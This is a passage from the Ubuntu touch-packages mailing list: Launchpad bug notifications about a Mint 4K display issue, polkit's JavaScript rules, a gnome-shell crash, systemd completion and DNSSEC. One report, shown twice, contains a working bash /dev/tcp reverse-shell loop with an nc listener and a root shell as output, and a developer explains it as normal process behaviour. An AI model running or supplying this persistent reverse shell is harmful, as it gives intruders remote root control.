  Tags: third-party-packages tina
  Uname: Linux 5.0.0-32-generic x86_64
  UnreportableReason: This is not an official Linux package. Please remove any 
third party package and try again.
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.9
  Architecture: amd64
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19.2
  InstallationDate: Installed on 2019-11-03 (4 days ago)
  InstallationMedia: Linux Mint 19.2 "Tina" - Release amd64 20190729
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux
  PackageArchitecture: all
  ProcVersionSignature: Ubuntu 5.0.0-32.34~18.04.2-generic 5.0.21
  Tags: third-party-packages tina
  Uname: Linux 5.0.0-32-generic x86_64
  UnreportableReason: This is not an official Linux package. Please remove any 
third party package and try again.
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1850986/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1850986] Re: many problems:

2020-01-07 Thread Launchpad Bug Tracker
[Expired for linux (Ubuntu) because there has been no activity for 60
days.]

** Changed in: linux (Ubuntu)
   Status: Incomplete => Expired

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1850986

Title:
  many problems:

Status in apport package in Ubuntu:
  Expired
Status in linux package in Ubuntu:
  Expired

Bug description:
  1st Neither 
  ubuntu-bug linux nor sudo  ubuntu-bug linux 
  sudo cat /proc/version_signature > version.log
  sudo lspci -vnvn > lspci-vnvn.log
  work! 

  2 Bug reporting is so hard!

  3 Cannot find bug reporting section for Linuxmint so as to empart to
  Ubuntu that the problem is with the Kernels and not the drivers.

  4. The bug is with 4K monitors and the Linuxmint OS is continuously
  trying to load drivers for the screen. Constantly failing.

  I would gladly report the bug properly if I knew how to. As information is so 
vague I can't help. 
  Remember that if a novice can't find what he is looking for to fix a bug then 
there is a guarantee that the novice will never use that system again. Not all 
users are able to understand all commands if they are not in use every day. 
That is the case with me. Sadly, I want to use the system but the system is 
failing it's novices. It's not the fault of the novice if he/she cannot find 
the relevant information as there is seriously way too much information on any 
given subject out there. Deciphering it is a minefield of displeasure. 

  Pity ain't it! That is why people are giving up computers.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.9
  Architecture: amd64
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19.2
  InstallationDate: Installed on 2019-11-03 (4 days ago)
  InstallationMedia: Linux Mint 19.2 "Tina" - Release amd64 20190729
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux
  PackageArchitecture: all
  ProcVersionSignature: Ubuntu 5.0.0-32.34~18.04.2-generic 5.0.21
  Tags: third-party-packages tina
  Uname: Linux 5.0.0-32-generic x86_64
  UnreportableReason: This is not an official Linux package. Please remove any 
third party package and try again.
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.9
  Architecture: amd64
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19.2
  InstallationDate: Installed on 2019-11-03 (4 days ago)
  InstallationMedia: Linux Mint 19.2 "Tina" - Release amd64 20190729
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux
  PackageArchitecture: all
  ProcVersionSignature: Ubuntu 5.0.0-32.34~18.04.2-generic 5.0.21
  Tags: third-party-packages tina
  Uname: Linux 5.0.0-32-generic x86_64
  UnreportableReason: This is not an official Linux package. Please remove any 
third party package and try again.
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.9
  Architecture: amd64
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19.2
  InstallationDate: Installed on 2019-11-03 (4 days ago)
  InstallationMedia: Linux Mint 19.2 "Tina" - Release amd64 20190729
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux
  PackageArchitecture: all
  ProcVersionSignature: Ubuntu 5.0.0-32.34~18.04.2-generic 5.0.21
  Tags: third-party-packages tina
  Uname: Linux 5.0.0-32-generic x86_64
  UnreportableReason: This is not an official Linux package. Please remove any 
third party package and try again.
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1850986/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1857210] Re: process does not close when shell is killed

2020-01-07 Thread Seth Arnold
Hello Mitch, excellent report, thanks.

This is working as intended.

The Unix process model is complicated, and Linux has added a few
additional complications on top; I'll try to summarize it but it's just
not going to be easy.

When a parent process exits, child processes are not notified by
default. The prctl(2) syscall allows a process to be informed when its
parent exits. There is no easy mechanism for grand-children to be
informed when a grand-parent process exits.

bash will send signals to all currently running jobs when it exits. (You
can ask bash to skip sending a signal to a job by using the 'disown'
shell built-in.) These signals can only be sent if bash continues to run
when exiting -- using 'kill -9' in your example above prevents bash from
sending signals to its children because a process cannot handle SIGKILL.
Try it again with SIGHUP instead of SIGKILL. Processes can ignore or
block the SIGHUP signal that bash will send.

It is expected that killing a parent process may not influence child
processes. If you want to kill a process that has a socket open, you
should kill that process directly. ss(8), lsof(8), fuser(1), etc can
report which processes are using a given socket.

For more details check the signal(7) manpage, bash(1) manpage near
'disown', the prctl(2) manpage near 'PR_SET_PDEATHSIG'. The book
Advanced Programming in the Unix Environment also has an excellent
description of the Unix process lifecycle.

Thanks

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bash in Ubuntu.
https://bugs.launchpad.net/bugs/1857210

Title:
  process does not close when shell is killed

Status in bash package in Ubuntu:
  Invalid

Bug description:
  [*] As root user only - use your attacker IP and port of your choice.

  [*] Victim server/client
  while true; do
  0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
  sleep 30
  done

  
  [*] Attacker Machine
  nc -lvnp 80 #  Or whatever port you plugged into the while loop

  
  Once the while loop is executed, you can close the shell (do not kill with 
Control+C) and the while loop will continue to run. You can attempt to run a 
"Kill -9" on the pid but the thread below will take over as running process. 
This leaves a hard to detect reverse shell since the while loop continues to 
run and executes a rooted backdoor call every 30 seconds. Example below:

  [*] Victim
  root@app-server:~# while true; do
  > 0<&196;exec 196<>/dev/tcp/192.168.1.111/9000; sh <&196 >&196 2>&196
  > sleep 30
  > done
  bash: 196: Bad file descriptor
  bash: connect: Connection refused
  bash: /dev/tcp/192.168.1.111/9000: Connection refused
  bash: 196: Bad file descriptor
  bash: 196: Bad file descriptor
  bash: connect: Connection refused
  bash: /dev/tcp/192.168.1.111/9000: Connection refused
  bash: 196: Bad file descriptor
  bash: 196: Bad file descriptor


  
  [*] Attacker Machine
  codonnell@codonnell-Precision-WorkStation-T5500:~$ nc -lvnp 9000
  Listening on [0.0.0.0] (family 0, port 9000)
  Connection from 192.168.122.183 41640 received!
  whoami
  root

  
  * Now we close out the terminal on the Victim machine

  We can see the call continues:
  codonnell@codonnell-Precision-WorkStation-T5500:~$ nc -lvnp 9000
  Listening on [0.0.0.0] (family 0, port 9000)
  Connection from 192.168.122.183 41644 received!
  whoami
  root
  python -c 'import pty; pty.spawn("/bin/bash")'
  root@app-server:~# 

  
  Now checking the Victim process, we can see the process, let's kill it:
  codonnell@app-server:~$ ps -aef --forest | less
  ..
  root  1323 1  0 17:42 ?00:00:00 su
  root  1324  1323  0 17:42 ?00:00:00  \_ bash
  root  1346  1324  0 17:46 ?00:00:00  \_ sh
  root  1350  1346  0 17:46 ?00:00:00  \_ python -c import 
pty; pty.spawn("/bin/bash")
  root  1351  1350  0 17:46 pts/200:00:00  \_ /bin/bash

  codonnell@app-server:~$ kill -9 1323
  codonnell@app-server:~$ ps -aef --forest | less
  ..
  root  1324 1  0 17:42 ?00:00:00 bash
  root  1346  1324  0 17:46 ?00:00:00  \_ sh
  root  1350  1346  0 17:46 ?00:00:00  \_ python -c import pty; 
pty.spawn("/bin/bash")
  root  1351  1350  0 17:46 pts/200:00:00  \_ /bin/bash

  codonnell@app-server:~$ sudo kill -9 1324
  [sudo] password for codonnell: 
  codonnell@app-server:~$ ps -aef --forest | less
  ..
  root  1346 1  0 17:46 ?00:00:00 sh
  root  1350  1346  0 17:46 ?00:00:00  \_ python -c import pty; 
pty.spawn("/bin/bash")
  root  1351  1350  0 17:46 pts/200:00:00  \_ /bin/bash

  
  We can see the below thread moves up the chain. All while I am on the system:

  codonnell@app-server:~$ sudo kill -9 1346
  codonnell@app-server:~$ ps -aef --forest | less
  ..
  root  1350 1  0 17:46 ?00:00:00 python -c import pty; 

[Touch-packages] [Bug 1086783] Re: New PolicyKit 0.106 changes configuration file format

2020-01-07 Thread Robert Ancell
I've made a forum post asking for feedback from users of polkit in
Ubuntu (https://discourse.ubuntu.com/t/use-of-javascript-rules-in-
polkit/13892). If you have comments please add them there instead of
this bug.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to policykit-1 in Ubuntu.
https://bugs.launchpad.net/bugs/1086783

Title:
  New PolicyKit 0.106 changes configuration file format

Status in policykit-1 package in Ubuntu:
  Triaged
Status in policykit-1 package in Debian:
  Fix Released

Bug description:
  From the NEWS file:

  This is polkit 0.106. There's a major change in this release which is
  a switch from .pkla files (keyfile-format) to .rules files
  (JavaScript).

  We may want to hold off on the new version because it requires
  rewriting the configuration files, and adds a dependency on mozjs185,
  which will need a MIR (and getting a MIR may be problematic)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/policykit-1/+bug/1086783/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1857210] Re: process does not close when shell is killed

2020-01-07 Thread Seth Arnold
** Information type changed from Private Security to Public

** Changed in: bash (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bash in Ubuntu.
https://bugs.launchpad.net/bugs/1857210

Title:
  process does not close when shell is killed

Status in bash package in Ubuntu:
  Invalid

Bug description:
  [*] As root user only - use your attacker IP and port of your choice.

  [*] Victim server/client
  while true; do
  0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
  sleep 30
  done

  
  [*] Attacker Machine
  nc -lvnp 80 #  Or whatever port you plugged into the while loop

  
  Once the while loop is executed, you can close the shell (do not kill with 
Control+C) and the while loop will continue to run. You can attempt to run a 
"Kill -9" on the pid but the thread below will take over as running process. 
This leaves a hard to detect reverse shell since the while loop continues to 
run and executes a rooted backdoor call every 30 seconds. Example below:

  [*] Victim
  root@app-server:~# while true; do
  > 0<&196;exec 196<>/dev/tcp/192.168.1.111/9000; sh <&196 >&196 2>&196
  > sleep 30
  > done
  bash: 196: Bad file descriptor
  bash: connect: Connection refused
  bash: /dev/tcp/192.168.1.111/9000: Connection refused
  bash: 196: Bad file descriptor
  bash: 196: Bad file descriptor
  bash: connect: Connection refused
  bash: /dev/tcp/192.168.1.111/9000: Connection refused
  bash: 196: Bad file descriptor
  bash: 196: Bad file descriptor


  
  [*] Attacker Machine
  codonnell@codonnell-Precision-WorkStation-T5500:~$ nc -lvnp 9000
  Listening on [0.0.0.0] (family 0, port 9000)
  Connection from 192.168.122.183 41640 received!
  whoami
  root

  
  * Now we close out the terminal on the Victim machine

  We can see the call continues:
  codonnell@codonnell-Precision-WorkStation-T5500:~$ nc -lvnp 9000
  Listening on [0.0.0.0] (family 0, port 9000)
  Connection from 192.168.122.183 41644 received!
  whoami
  root
  python -c 'import pty; pty.spawn("/bin/bash")'
  root@app-server:~# 

  
  Now checking the Victim process, we can see the process, let's kill it:
  codonnell@app-server:~$ ps -aef --forest | less
  ..
  root  1323 1  0 17:42 ?00:00:00 su
  root  1324  1323  0 17:42 ?00:00:00  \_ bash
  root  1346  1324  0 17:46 ?00:00:00  \_ sh
  root  1350  1346  0 17:46 ?00:00:00  \_ python -c import 
pty; pty.spawn("/bin/bash")
  root  1351  1350  0 17:46 pts/200:00:00  \_ /bin/bash

  codonnell@app-server:~$ kill -9 1323
  codonnell@app-server:~$ ps -aef --forest | less
  ..
  root  1324 1  0 17:42 ?00:00:00 bash
  root  1346  1324  0 17:46 ?00:00:00  \_ sh
  root  1350  1346  0 17:46 ?00:00:00  \_ python -c import pty; 
pty.spawn("/bin/bash")
  root  1351  1350  0 17:46 pts/200:00:00  \_ /bin/bash

  codonnell@app-server:~$ sudo kill -9 1324
  [sudo] password for codonnell: 
  codonnell@app-server:~$ ps -aef --forest | less
  ..
  root  1346 1  0 17:46 ?00:00:00 sh
  root  1350  1346  0 17:46 ?00:00:00  \_ python -c import pty; 
pty.spawn("/bin/bash")
  root  1351  1350  0 17:46 pts/200:00:00  \_ /bin/bash

  
  We can see the below thread moves up the chain. All while I am on the system:

  codonnell@app-server:~$ sudo kill -9 1346
  codonnell@app-server:~$ ps -aef --forest | less
  ..
  root  1350 1  0 17:46 ?00:00:00 python -c import pty; 
pty.spawn("/bin/bash")
  root  1351  1350  0 17:46 pts/200:00:00  \_ /bin/bash

  codonnell@app-server:~$ sudo kill -1350
  codonnell@app-server:~$ ps -aef --forest | less

  The kill -9 is now killed the Attacker shell and the while loop has
  ended.

  codonnell@codonnell-Precision-WorkStation-T5500:~$ nc -lvnp 9000
  Listening on [0.0.0.0] (family 0, port 9000)
  Connection from 192.168.122.183 41644 received!
  whoami
  root
  python -c 'import pty; pty.spawn("/bin/bash")'
  root@app-server:~#

  
  My guess is that killing the root process should remove the below threads to 
avoid a continuous open backdoor on the server. 

  Tested on RHEL as well, this seems to be specific to the Bash package.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: bash 4.4.18-2ubuntu1.2
  ProcVersionSignature: Ubuntu 4.15.0-72.81-generic 4.15.18
  Uname: Linux 4.15.0-72-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.9
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Sat Dec 21 17:34:54 2019
  InstallationDate: Installed on 2019-01-31 (324 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: bash
  UpgradeStatus: No upgrade log present 

[Touch-packages] [Bug 1787512] Re: gnome-shell crashed with SIGABRT in __GI_raise() from __GI_abort() from g_assertion_message() from g_assertion_message_expr() from gtk_icon_info_load_icon_finish() [

2020-01-07 Thread Bug Watch Updater
Launchpad has imported 30 comments from the remote bug at
https://bugzilla.redhat.com/show_bug.cgi?id=1520010.

If you reply to an imported comment from within Launchpad, your comment
will be sent to the remote bug automatically. Read more about
Launchpad's inter-bugtracker facilities at
https://help.launchpad.net/InterBugTracking.


On 2017-12-01T22:40:50+00:00 ariscop wrote:

Description of problem:
Opening pgAdmin III reliably crashes gnome shell

Version-Release number of selected component:
gnome-shell-3.26.2-1.fc27

Additional info:
reporter:   libreport-2.9.3
backtrace_rating: 4
cmdline:/usr/bin/gnome-shell
crash_function: gtk_icon_info_load_icon_finish
executable: /usr/bin/gnome-shell
journald_cursor: 
s=8dcdc9023b364455b72f1a52f57c60d5;i=33ade;b=dbf772e28bec4b4aaf014a1caa3e6f9f;m=127ce01659;t=55f4eeff482f1;x=fc379e8ef6186370
kernel: 4.13.15-300.fc27.x86_64
rootdir:/
runlevel:   N 5
type:   CCpp
uid:1000

Potential duplicate: bug 1319231

Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-
shell/+bug/1787512/comments/0


On 2017-12-01T22:40:57+00:00 ariscop wrote:

Created attachment 1361853
File: backtrace

Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-
shell/+bug/1787512/comments/1


On 2017-12-01T22:40:59+00:00 ariscop wrote:

Created attachment 1361854
File: cgroup

Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-
shell/+bug/1787512/comments/2


On 2017-12-01T22:41:01+00:00 ariscop wrote:

Created attachment 1361855
File: core_backtrace

Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-
shell/+bug/1787512/comments/3


On 2017-12-01T22:41:06+00:00 ariscop wrote:

Created attachment 1361856
File: cpuinfo

Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-
shell/+bug/1787512/comments/4


On 2017-12-01T22:41:08+00:00 ariscop wrote:

Created attachment 1361857
File: dso_list

Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-
shell/+bug/1787512/comments/5


On 2017-12-01T22:41:10+00:00 ariscop wrote:

Created attachment 1361858
File: environ

Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-
shell/+bug/1787512/comments/6


On 2017-12-01T22:41:12+00:00 ariscop wrote:

Created attachment 1361859
File: limits

Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-
shell/+bug/1787512/comments/7


On 2017-12-01T22:41:15+00:00 ariscop wrote:

Created attachment 1361860
File: maps

Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-
shell/+bug/1787512/comments/8


On 2017-12-01T22:41:18+00:00 ariscop wrote:

Created attachment 1361861
File: mountinfo

Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-
shell/+bug/1787512/comments/9


On 2017-12-01T22:41:20+00:00 ariscop wrote:

Created attachment 1361862
File: open_fds

Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-
shell/+bug/1787512/comments/10


On 2017-12-01T22:41:21+00:00 ariscop wrote:

Created attachment 1361863
File: proc_pid_status

Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-
shell/+bug/1787512/comments/11


On 2017-12-01T22:41:23+00:00 ariscop wrote:

Created attachment 1361864
File: var_log_messages

Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-
shell/+bug/1787512/comments/12


On 2017-12-06T19:55:38+00:00 fouinix1 wrote:

*** Bug 1522958 has been marked as a duplicate of this bug. ***

Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-
shell/+bug/1787512/comments/13


On 2018-01-18T15:16:20+00:00 daniel.everett.h wrote:

*** Bug 1536076 has been marked as a duplicate of this bug. ***

Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-
shell/+bug/1787512/comments/14


On 2018-01-31T14:03:46+00:00 orschiro wrote:

*** Bug 1540602 has been marked as a duplicate of this bug. ***

Reply at: 

[Touch-packages] [Bug 1086783] Re: New PolicyKit 0.106 changes configuration file format

2020-01-07 Thread Robert Ancell
An update on the current state of this:
- polkit upstream currently depends on mozjs60
- mozjs60 is in main, but only for the use of GNOME Shell.
- The current polkit Debian/Ubuntu package has 61 patches in it, backporting 
lots of changes from version 106 to 116.
- There are upstream requests for running polkit without a JS interpreter.
- There is an open MR to switch from mozjs to duktape 
(https://gitlab.freedesktop.org/polkit/polkit/merge_requests/35).
- Debian experimental has polkit 116 packaged (i.e. with JS backend).
- I've made a proof of concept branch which reinstates the local backend 
(https://gitlab.freedesktop.org/rancell/polkit/tree/traditional-backend) which 
works.

It's desirable that we run the latest version in Debian/Ubuntu, which requires 
one of:
- We re-assess the use of mozjs and decide if it's acceptable in this case.
- We support the switch from mozjs to duktape if that's a safer option.
- We propose the old local backend upstream as an alternative to the JS backend.
- We carry the local backend as a patch on upstream.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to policykit-1 in Ubuntu.
https://bugs.launchpad.net/bugs/1086783

Title:
  New PolicyKit 0.106 changes configuration file format

Status in policykit-1 package in Ubuntu:
  Triaged
Status in policykit-1 package in Debian:
  Fix Released

Bug description:
  From the NEWS file:

  This is polkit 0.106. There's a major change in this release which is
  a switch from .pkla files (keyfile-format) to .rules files
  (JavaScript).

  We may want to hold off on the new version because it requires
  rewriting the configuration files, and adds a dependency on mozjs185,
  which will need a MIR (and getting a MIR may be problematic)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/policykit-1/+bug/1086783/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1620054] Re: Google reCaptcha does not work in browser

2020-01-07 Thread William Grant
*** This bug is a duplicate of bug 1599146 ***
https://bugs.launchpad.net/bugs/1599146

** Attachment removed: "out.png"
   
https://bugs.launchpad.net/ubuntu/+source/webbrowser-app/+bug/1620054/+attachment/5198514/+files/out.png

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to webbrowser-app in Ubuntu.
https://bugs.launchpad.net/bugs/1620054

Title:
  Google reCaptcha does not work in browser

Status in webbrowser-app package in Ubuntu:
  Confirmed

Bug description:
  I was not able to post a reply on xda developers forum. Recaptcha told
  me that the browser does not support the widget. It seemed strange
  since this is a commonly used captcha framework.

  However, testing with the following test page
  https://patrickhlauke.github.io/recaptcha/ revealed that reCaptcha is
  not working at ll in the Ubuntu Browser.

  Since this is an important verification method these days I would
  assume someone needs to talk to Google to either allow our User-Agent,
  or we must fake once again the UA string in some way. This is really a
  bad thing I know. But what does it help?

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/webbrowser-app/+bug/1620054/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1787512] Re: gnome-shell crashed with SIGABRT in __GI_raise() from __GI_abort() from g_assertion_message() from g_assertion_message_expr() from gtk_icon_info_load_icon_finish() [

2020-01-07 Thread Bug Watch Updater
** Changed in: gtk
   Status: Unknown => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1787512

Title:
  gnome-shell crashed with SIGABRT in __GI_raise() from __GI_abort()
  from g_assertion_message() from g_assertion_message_expr() from
  gtk_icon_info_load_icon_finish() ["assertion failed:
  (icon_info_get_pixbuf_ready (icon_info))"]

Status in GTK+:
  Fix Released
Status in gnome-shell package in Ubuntu:
  Invalid
Status in gtk+3.0 package in Ubuntu:
  Triaged
Status in gtk+3.0 package in Fedora:
  Unknown

Bug description:
  The Ubuntu Error Tracker has been receiving reports about a problem regarding 
gnome-shell.  This problem was most recently seen with package version 
3.28.2-0ubuntu0.18.04.1, the problem page at 
https://errors.ubuntu.com/problem/3fab26f2eb2d02e167c5fa790b9895190d812bbe 
contains more details, including versions of packages affected, stacktrace or 
traceback, and individual crash reports.
  If you do not have access to the Ubuntu Error Tracker and are a software 
developer, you can request it at http://forms.canonical.com/reports/.

To manage notifications about this bug go to:
https://bugs.launchpad.net/gtk/+bug/1787512/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1787512] Re: gnome-shell crashed with SIGABRT in __GI_raise() from __GI_abort() from g_assertion_message() from g_assertion_message_expr() from gtk_icon_info_load_icon_finish() [

2020-01-07 Thread Daniel van Vugt
** Also affects: gtk+3.0 (Ubuntu)
   Importance: Undecided
   Status: New

** Bug watch added: gitlab.gnome.org/GNOME/gtk/issues #119
   https://gitlab.gnome.org/GNOME/gtk/issues/119

** Also affects: gtk via
   https://gitlab.gnome.org/GNOME/gtk/issues/119
   Importance: Unknown
   Status: Unknown

** Bug watch added: Red Hat Bugzilla #1520010
   https://bugzilla.redhat.com/show_bug.cgi?id=1520010

** Also affects: gtk+3.0 (Fedora) via
   https://bugzilla.redhat.com/show_bug.cgi?id=1520010
   Importance: Unknown
   Status: Unknown

** Changed in: gtk+3.0 (Ubuntu)
   Status: New => Confirmed

** Tags added: fixed-upstream

** Changed in: gnome-shell (Ubuntu)
   Status: Confirmed => Invalid

** Changed in: gtk+3.0 (Ubuntu)
   Importance: Undecided => Medium

** Changed in: gtk+3.0 (Ubuntu)
   Status: Confirmed => Triaged

** No longer affects: gnome-shell

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1787512

Title:
  gnome-shell crashed with SIGABRT in __GI_raise() from __GI_abort()
  from g_assertion_message() from g_assertion_message_expr() from
  gtk_icon_info_load_icon_finish() ["assertion failed:
  (icon_info_get_pixbuf_ready (icon_info))"]

Status in GTK+:
  Unknown
Status in gnome-shell package in Ubuntu:
  Invalid
Status in gtk+3.0 package in Ubuntu:
  Triaged
Status in gtk+3.0 package in Fedora:
  Unknown

Bug description:
  The Ubuntu Error Tracker has been receiving reports about a problem regarding 
gnome-shell.  This problem was most recently seen with package version 
3.28.2-0ubuntu0.18.04.1, the problem page at 
https://errors.ubuntu.com/problem/3fab26f2eb2d02e167c5fa790b9895190d812bbe 
contains more details, including versions of packages affected, stacktrace or 
traceback, and individual crash reports.
  If you do not have access to the Ubuntu Error Tracker and are a software 
developer, you can request it at http://forms.canonical.com/reports/.

To manage notifications about this bug go to:
https://bugs.launchpad.net/gtk/+bug/1787512/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1529152] Re: slow completion for systemd units

2020-01-07 Thread Bug Watch Updater
** Changed in: systemd
   Status: Unknown => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1529152

Title:
  slow completion for systemd units

Status in systemd:
  Fix Released
Status in bash-completion package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Fix Released
Status in bash-completion source package in Bionic:
  Invalid
Status in systemd source package in Bionic:
  In Progress

Bug description:
  Pressing Tab after entering `sudo systemctl status
  [existing service name without .service suffix]` into console it takes
  up to 5 seconds until the auto-completion completes. Until then the
  cursor can't be moved.

  ProblemType: Bug
  DistroRelease: Ubuntu 15.10
  Package: bash-completion 1:2.1-4.1ubuntu2
  Uname: Linux 4.2.5-040205-generic x86_64
  NonfreeKernelModules: zfs zunicode zcommon znvpair zavl
  ApportVersion: 2.19.1-0ubuntu5
  Architecture: amd64
  Date: Thu Dec 24 21:04:41 2015
  InstallationDate: Installed on 2015-04-20 (248 days ago)
  InstallationMedia: Ubuntu-Server 14.10 "Utopic Unicorn" - Release amd64 
(20141022.2)
  PackageArchitecture: all
  ProcEnviron:
   TERM=screen
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  SourcePackage: bash-completion
  UpgradeStatus: Upgraded to wily on 2015-10-26 (59 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1529152/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1857639] Re: DNS server capability detection is broken and has critical consequences when DNSSEC is enabled

2020-01-07 Thread Avamander
I will need to wait for the bug to trigger again, logs have rotated
since the last time I had `yes` in the config. Also, those "single
line"s are actually what I did see repeatedly until I had to stop and
reconfigure resolved because it made internet usage impossible.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1857639

Title:
  DNS server capability detection is broken and has critical
  consequences when DNSSEC is enabled

Status in systemd package in Ubuntu:
  Incomplete

Bug description:
  I'm running Ubuntu 19.10

  I'm on latest version available from repositories, systemd 242

  I'm expecting upstream DNS server capabilities being detected
  correctly and DNSSEC to keep working. Alternatively I'd expect a
  method of disabling capability checks instead of DNSSEC.

  Currently instead resolved misdetect features suddenly, stops
  resolving all together (fails closed, which is somewhat good).
  Capability reset is a very temporary fix.

  A suggested fix could be (ordered based on how nice of a solution it
  is):

  a. The capability detection is fixed
  (https://github.com/systemd/systemd/issues/9384)

  b. Force-disabling capability detection exists (this is what I also
  requested here: https://github.com/systemd/systemd/issues/14435)

  c. Patch Ubuntu version not to allow such a foot gun, update
  documentation (this is theoretically what Ubuntu could do meanwhile)

  d. Remove DNSSEC from resolved

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1857639/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1857639] Re: DNS server capability detection is broken and has critical consequences when DNSSEC is enabled

2020-01-07 Thread Avamander
